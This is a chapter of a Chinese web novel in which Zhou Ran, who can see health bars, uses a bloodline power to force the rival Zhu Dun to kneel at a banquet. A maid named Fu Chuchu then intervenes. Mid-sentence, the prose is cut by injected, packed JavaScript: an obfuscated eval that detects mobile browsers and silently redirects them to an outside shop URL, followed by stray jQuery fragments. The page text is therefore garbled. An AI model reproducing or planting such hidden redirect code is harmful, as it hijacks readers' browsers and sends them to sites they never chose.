第六十章
鲜血顺着周然苍白的皮肤滑落，细小的红色液珠在他的手背上蜿蜒，显得分外醒目。
他静静地看着那滴血坠下，缓缓将手抬起，而在他面前的朱敦，脸上猖狂的笑容微微一滞，眼底的轻蔑被一丝不安取代。
“老大，你……”庞仆皱了皱眉，看着周然的伤口。
“没事。”周然淡淡道。
与此同时，在他的视野里，
【-0.4！】
【-0.4！】
伤害提示在周然的眼前持续跳动，他本就薄弱的血条，此时更是雪上加霜。
伊瑟尔能用血条换能力，
可我的血条不经用啊。
这血脉压制，最好是真的。
但周然的眼中没有半点波澜，嘴上反而上一抹淡淡的冷笑。
“想教训你们这群忘恩负义的东西，还用得着劳烦伊瑟尔大人亲自动手？”周然的声音轻柔，不急不缓，却带着一种超脱冷磊的压迫感。
朱敦后退了一步，目光中有些不安。
这小子……口气真的这么大？
不管怎么说，墟蛰族现在早已壮大，即使是老派的污染物也要让着几分，夜魇的人不可能会……
朱敦强作镇定，冷笑一声掩饰自己的心虚。
“你……你以为凭几滴血就能吓唬我？哼。你这小身板，我把你杀了再放血都不为过。”
他的话引得周围的同族成员哈哈大笑，充满了对夜魇一族的轻蔑。
周然眼神微冷，勾起唇角：“夜魇曾经为你们赐下恩惠，如今你们居然仗着人多势众，就开始忘本了么。只会数量繁衍的种族，和蟑螂还有什么分别？”
这句话如同一道冷冽的刀锋，直刺入朱敦的自尊。他脸上的笑意瞬间消失，眼中涌出怒火。握紧拳头向前一步。
围观的其他污染物见状纷纷后退，让开一片空间，像是嗅到风暴前的气息。
“你别得意！”朱敦的怒火在周围的注视中被点燃，他一步步毕竟周然，试图用身体的威压来恐吓他。
“夜魇早已覆灭，顶多是给'王'当当治疗血包罢了。伊瑟尔用自己的命换一个在'王'面前效忠的子哥，你以为他的身体还能撑得了多久?你今天敢在我面前放肆，迟早会付出代价。”
周然的眼神沉了沉。
原来，伊瑟尔是靠牺牲自己的生命给王进行治疗的。
朱敦抬起手，似乎要给周然一记狠击。然而，下一秒，周然面无表情抬起那滴血染的手指，冷冷看着他，声音平静：
“你确定，要试试？”
朱敦的手在半空僵住了。他望着周然指尖的那滴血。
他熟悉这种感觉，和曾经的夜魇一族一样……只需展露一丝血脉之威，便能让他们整族无条件臣服。
那种本能的压迫感如今再度涌上心头，仿佛有根无形的绳索，瞬间将他捆绑。
周围的墟蛰族成员看着朱敦的迟疑，有人忍不住低声道：“老大，他……该不会只是拿自己的血来唬我们吧？夜魇族，不可能还有除了伊瑟尔之外的人啊。”
对啊……
夜魇这个可悲又强大的种族，
早就在那场浩劫中，成为献祭给成功的牺牲品了。
在所有污染物狂欢的胜利之夜，
夜魇们的血液被生生抽榨干，每一寸身体都被人分食，他们的惠泽，才让世界拥有了如今的如此多强大的污染物种族。
但，现在终究是今非昔比了。
朱敦眼底情绪一变，重新找到了底气。他猛地咬牙，狠狠一挥手，似乎要打破那道心里的枷锁。他冷笑着踏前一步，眼神凶狠：
“我就是要试试又怎样？”
周然微微一笑。
试试就试试。
“好啊。”
周然眯起笑眼，将手中的鲜血毫不掩饰地向朱敦抬了抬，血滴在他的掌心缓缓流淌，仿佛带着一丝微弱的荧光，像是蕴含着古老的力量。
“那你尽管感受，看这份血脉压制是不是还能生效。”
这一瞬间，朱敦的脸上流露出恐惧，仿佛彻底击溃的痛苦从他眼中滑过。
是那种熟悉的感觉……
如今又在这滴血之中感受到了相同的威力。
他的汗珠顺着额头滚落，手不自主地僵在半空。
远处，半倚着的白发污染物微微眯起眼，像是品味到一场久违的闹剧。
他缓缓开口，低沉的声音透着讽刺的意味：
“看来，夜魇一族的血脉，又要重新复苏了。墟蛰，永远都摆脱不了曾经的烙印了。”
朱敦被这句话激怒，转向老人张嘴欲言，却发现自己一开口，话便被哽在喉咙。他的感到脖子上像是勒着一条无形的枷锁，连呼吸都变得艰难。
“闭嘴。”周然淡淡道。
一瞬间，一股无形的力量笼罩了朱敦的四肢。他瞬间察觉到自己的身体竟然被一股莫名的压力牢牢锁住，任凭他如何挣扎，手臂却似乎不再属于自己。
“竟然是真的，”朱敦的眼神中透露出惊恐，从牙缝里喃喃道，很快，这种惊恐就被憎恶代替，
“可恶……”
“我说闭嘴。”周然继续道。
下一瞬，尽管朱敦拼命想要反抗，周然的手心微微一压，朱敦竟然感觉到双膝传来一种不可抗拒的重量，几乎无法支撑。
他的双腿渐渐弯曲，在旁人震惊的注视之下，“扑通”一声跪倒在地，矮壮的身体发出一声沉闷撞击，震得四周的空气微微颤抖。
朱敦震惊地看向周然。
周然也挑了挑眉。
原来，夜魇一族真的……这么强？
本来只是想抱紧治疗大腿，
没想到自己居然加入夜魇了。
周围的污染物们也露出不可思议的神情，纷纷议论。
“怪了，难道夜魇的血脉还未彻底消亡吗？我怎么觉得，这威压似乎比以前更强了啊……”
“好像和伊瑟尔的能力还不一样？是夜魇的其他分支？”
“竟然……真的是夜魇的压制之力，墟这族真的逃不过这个命运，永世为奴。”
每一句话都如同利刃般刺入朱敦的尊严深处。他的脸色愈发铁青，眼底的愤怒和屈辱混杂着不甘，周围的目光像刀一样羞辱着他。
“住口！我才不是什么被压制的努力！”朱敦努力挣扎着，企图挣脱那股无形的力量，然而周然只是微微用力，朱敦的双膝再次不自主地贴上了地面。
“看来还不够。”周然微眯起双眼，眼底寒光一闪，他再度加力，朱敦感到脖颈被迫向下，最终低垂着头，双手反绑在身后，呈现出一种彻底臣服的姿势。
朱敦气得几乎要炸裂，但此刻他抬起头的力气都没有，只能感受到那股沉重的威压牢牢地压在自己身上，让他动弹不得。
“我希望你记住这种姿势。”周然冷冷地注视着他，“这才是你们墟蛰族最为熟悉的，这种
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043997|142925||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
刻入骨髓的臣服感，不该被遗忘。”
周然说着，头顶的血条跳到了
【周然：3/9】
伊瑟尔……
我为你付出了太多，你要记得用治疗报答我啊！
“尤其是面对伊瑟尔大人。”他俯下身，对朱敦道，“懂了么？”
说罢，周然从旁边拿起一块干净的餐布，缓缓擦拭着手上的血迹。
朱敦眼神里夹杂着不安，但却昂不起头，梗着脖子，闷声答道：“……是。”
“很好。”
擦净血迹后，周然不慌不忙地将餐布丢到一旁。
然而，就在周然撤去力量的刹那，朱敦瞬间如同脱笼般的猛兽般跃起，眼神中充满了怨毒与愤怒。
只见朱敦抄起餐桌上的刀，刀刃在空中带出一道寒光，直直刺向周然的眼睛。
“哼，你真的该死。”朱敦咬牙低吼，刀尖上凝聚的污染物力量犹如一股黑色漩涡，直逼周然。
庞仆见状，顿时脸色大变，急声喊道：“老大！小心！”他猛地向前冲过去，想要阻止这次攻击。
但朱敦太近了。
周然甚至能感受到刀刃带起的冰冷气息已贴近鼻尖，划破他的呼吸。
但周然似乎根本不意外，也没有躲闪。
【周然：3/9】
血条脆弱得可笑。
他在等待着什么。
下一瞬，一道脆生生的声音响起，带着不可抗拒的严厉。
“住手！”
声音清亮坚定，瞬间击碎了朱敦的杀心，一道黑色鞭影如灵蛇般飞出，精准地缠绕住朱敦手中的餐刀，将刀尖猛然一拉，刀刃脱手而出，跌落在地。
周然回过神来，目光看向声音的来源。看到一名身着仿生衣的女侍从站在不远处，手持长鞭，神情冷峻。
周然觉得她有些面熟。
果不其然，女侍从的旁边，站着一袭华贵长裙，姿态高贵的阮知絮。显然，这名女侍从是她的贴身侍女。
当初他和时邈拜访阮知絮的时候好像还见过来着。
“……阮小姐？”朱敦愣了一下。
女侍从冷冷地扫视着朱敦与周然，语气中透露着冰冷：
“阮小姐的宴会上竟敢动手，看来你们真是不懂规矩。”
“楚楚，不要这么鲁莽。”阮知絮笑道，示意扶楚楚将朱敦放下来。
她的目光忽略了朱敦，看向周然，淡笑道：
“周先生可是我的贵客。”
这回轮到庞仆和朱敦一起愣了。
周然……怎么连秩序之链也结交上了？
他该不会真的是夜魇遗落在外的私生子？
周然微微颔首，深吸一口气，目光却落在女侍从头上的血条上。
下一瞬，周然的眉尾挑了挑。
等等。
他的瞳中映出女侍从的倒影、
【扶楚楚：12/12（健康）】
等等，多少？
扶楚楚只有12点的血条？
周然眼底的蓝光亮起。
扶楚楚战鞭力量强大，她身上又全然没有污染物的气息。
“不好意思，周先生。失礼了。”扶楚楚看着周然看向自己，低了低头，道。
周然挑起唇，笑了一下：“没关系。很荣幸认识。”
他看向扶楚楚的脸，似乎在打量着什么。
很荣幸见到你。
传说中的这位，人类的眼线？